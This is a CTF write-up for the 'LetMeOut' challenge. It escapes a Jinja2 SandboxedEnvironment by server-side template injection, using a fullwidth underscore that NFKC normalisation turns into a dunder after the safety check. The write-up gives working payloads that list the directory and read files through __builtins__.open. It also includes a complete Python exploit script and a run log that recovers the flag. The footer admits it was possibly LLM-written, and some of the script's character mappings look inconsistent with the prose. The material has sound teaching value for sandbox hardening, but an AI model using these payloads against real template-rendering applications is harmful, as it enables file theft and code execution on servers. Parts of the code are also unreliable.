Neven Marić
Hidden Investigations CTF 2026

PwnHidden Investigations CTF 2026

LetMeOut

Jinja2 SandboxedEnvironment with globals/filters cleared, one per-line budget of 170 chars and at most 3 distinct ASCII letters.

  • pwn
  • ssti
  • jinja2
  • sandbox-escape
  • unicode-normalisation
  • nfkc
  • python

What this one teaches

  • Unicode NFKC normalisation in Jinja2's getitem path bypasses the underscore-startswith check — a fullwidth underscore (U+FF3F) normalises to ASCII underscore after the safety check runs.
  • Octal and Unicode escapes in Jinja2 string literals produce real strings at runtime, letting you spell arbitrary attribute/key names without using blocked ASCII letters.
  • Constrained SSTI payloads: the filter name (randomised per connection) consumes 3 of your letter budget — reconnect until you get one whose LIST payload fits the 170-char limit.

Task description

This is just a calculator, try {{ 1+1 }}

Connect to the instance with TLS: ncat --ssl <host> 1337 (or pwntools: remote(host, 1337, ssl=True)).

The source is attached.

Setup

  • /app/jail.py: per connection, random.sample(NAMES, 2) are mapped to rich(v) -> Tag(v) and plain(v) -> str(Tag(v)) (names are ?uff).
  • 32 rounds per connection; the environment is rebuilt each round.
  • entrypoint.py writes the flag to /flags/<8 hex>, plus 3 decoys, chdirs to /flags, and runs as nobody. /flag.txt is deleted and the shell binaries removed, so we must list /flags and read the right file.

Vulnerability

SandboxedEnvironment.getitem(obj, argument):

try: return obj[argument]
except (TypeError, LookupError):
    if isinstance(argument, str):
        attr = str(argument)              # NFKC-normalises a Tag
        value = getattr(obj, attr)        # uses the normalised name
        if self.is_safe_attribute(obj, argument, value):  # checks the ORIGINAL
            return value

is_safe_attribute rejects attributes whose original argument .startswith("_"). If the argument is a Tag whose raw string is "__str__" (fullwidth underscore first), then str(Tag) is __str__ while startswith("_") is False. This reaches any dunder.

Tag.__str__ is a Python function, so ...__str__.__globals__ is the jail module dict and ...__str__.__builtins__ is the builtins dict.

Constraints

layout.isascii(), len(layout) <= 170, and at most 3 distinct alphabetic characters. The rich filter name (?uff) supplies three letters; all other letters must be hidden in escapes whose raw text only uses those letters/digits.

Attribute names still need the NFKC trick (a plain literal starting with _ is blocked), so use _ for the first underscore and octal for the rest. Dict keys and string arguments do not: ["\162\141\156\144\157\155"] is the real string "random" at runtime, and "\144\145\141\144" is a real filename.

Payloads

R is the detected rich filter name.

LIST  (169 chars for R=luff/ruff)
{{(0|R)["__\163\164\162__"|R]["__\147\154\157\142\141\154\163__"|R]["\162\141\156\144\157\155"]["_\157\163"|R]["\154\151\163\164\144\151\162"|R]()}}
  = (0|R).__str__.__globals__["random"]._os.listdir()

READ  (<=166)
{{(0|R)["__\163\164\162__"|R]["__\142\165\151\154\164\151\156\163__"|R]["\157\160\145\156"]("<octal filename>")["\162\145\141\144"|R]()}}
  = (0|R).__str__.__builtins__["open"]("<filename>").read()

Filter names are re-randomised on every connection, so reconnect until the rich filter gives a LIST payload <= 170 (luff/ruff, both 169; duff/tuff are 172). READ is <= 169 for every filter, so any filename fits.

Exploit script

#!/usr/bin/env python3
import socket, ssl, sys, time

NAMES = ("buff","cuff","duff","guff","huff","luff","muff","puff","ruff","tuff")
UCP = {
    'a':0x2090,'b':0xFF42,'c':0xFF43,'d':0x2146,'e':0x2091,'f':0xFF46,
    'g':0xFF47,'h':0x2095,'i':0x2071,'j':0x2149,'k':0x2096,'l':0x2113,
    'm':0x2098,'n':0x2099,'o':0x2092,'p':0xFF50,'q':0xFF51,'r':0xFF52,
    's':0x017F,'t':0xFF54,'u':0xFF55,'v':0x2174,'w':0xFF57,'x':0x2093,
    'y':0xFF59,'_':0xFF3F,
}
OCT = {'a':0o252, 'o':0o272, 's':0o577}

def esc(ch):
    if ch in OCT: return '\\%03o' % OCT[ch]
    return '\\u%04x' % UCP[ch]

class Jail:
    def __init__(self, host, port, tls):
        raw = socket.create_connection((host, port), timeout=15)
        self.s = (ssl._create_unverified_context().wrap_socket(raw, server_hostname=host)
                  if tls else raw)
        self.s.settimeout(8); self.buf = bytearray(); time.sleep(0.2)

    def one(self):
        t = 0
        while b'> ' not in self.buf:
            try:
                c = self.s.recv(16384)
                if not c: break
                self.buf.extend(c)
            except socket.timeout:
                t += 1
                if t >= 8: break
        i = self.buf.find(b'> ')
        if i < 0:
            r = bytes(self.buf); del self.buf[:]; return r
        r = bytes(self.buf[:i]); del self.buf[:i+2]; return r

    def send(self, p):
        self.s.sendall(p.encode() + b'\n')
        time.sleep(0.1)
        return self.one().rstrip(b'\n')

def attr(name, R):
    o = []
    for i, ch in enumerate(name):
        if ch == '_': o.append('\\uff3f' if i == 0 else '_')
        elif ch.isdigit(): o.append(ch)
        else: o.append(esc(ch))
    return '["' + ''.join(o) + '"|' + R + ']'

def main():
    host, port = sys.argv[1], int(sys.argv[2])
    tls = len(sys.argv) > 3 and sys.argv[3] == 'tls'
    j = Jail(host, port, tls); j.one()
    assert j.send('{{1+1}}').strip() == b'2'

    # Detect which filter is "rich" (returns Tag objects)
    pres = [n for n in NAMES if j.send('{{1|%s}}' % n).strip() == b'1']
    rich = None
    for n in pres:
        if b'class' in j.send('{{(1)' + attr('__class__', n) + '}}'):
            rich = n; break
    R = rich
    F = '(0|' + R + ')' + attr('__str__', R)
    JG = F + attr('__globals__', R)
    OS = JG + '["\\162\\141\\156\\144\\157\\155"]' + attr('_os', R)

    # LIST /flags
    names = j.send('{{' + OS + attr('listdir', R) + '()}}')
    import ast
    flist = ast.literal_eval(names.decode())

    # READ each file until we find the flag
    B = F + attr('__builtins__', R)
    for name in flist:
        payload = '{{' + B + '["\\157\\160\\145\\156"]'
        payload += '("' + ''.join('\\%03o' % b for b in name.encode()) + '")'
        payload += attr('read', R) + '()}}'
        out = j.send(payload)
        if b'hiCTF{' in out:
            print('FLAG:', out.decode().strip())
            break
    j.s.close()

if __name__ == '__main__':
    main()

Exploit run

rich = luff  LIST len 169
LIST -> ['b01e0fdb', 'bbe705d4', '7727e400', 'cd1a8d21']
READ b01e0fdb -> not the flag you're looking for
READ bbe705d4 -> not the flag you're looking for
READ 7727e400 -> hiCTF{__^_^__n0rm4l1z3_b3f0r3_y0u_tru5t__>_<___53c4bc968c}
The flagRevealhiCTF{__^_^__n0rm4l1z3_b3f0r3_y0u_tru5t__>_<___53c4bc968c}

This CTF was possibly solved, and the writeup most likely written by an LLM. Apologies for inconsistencies.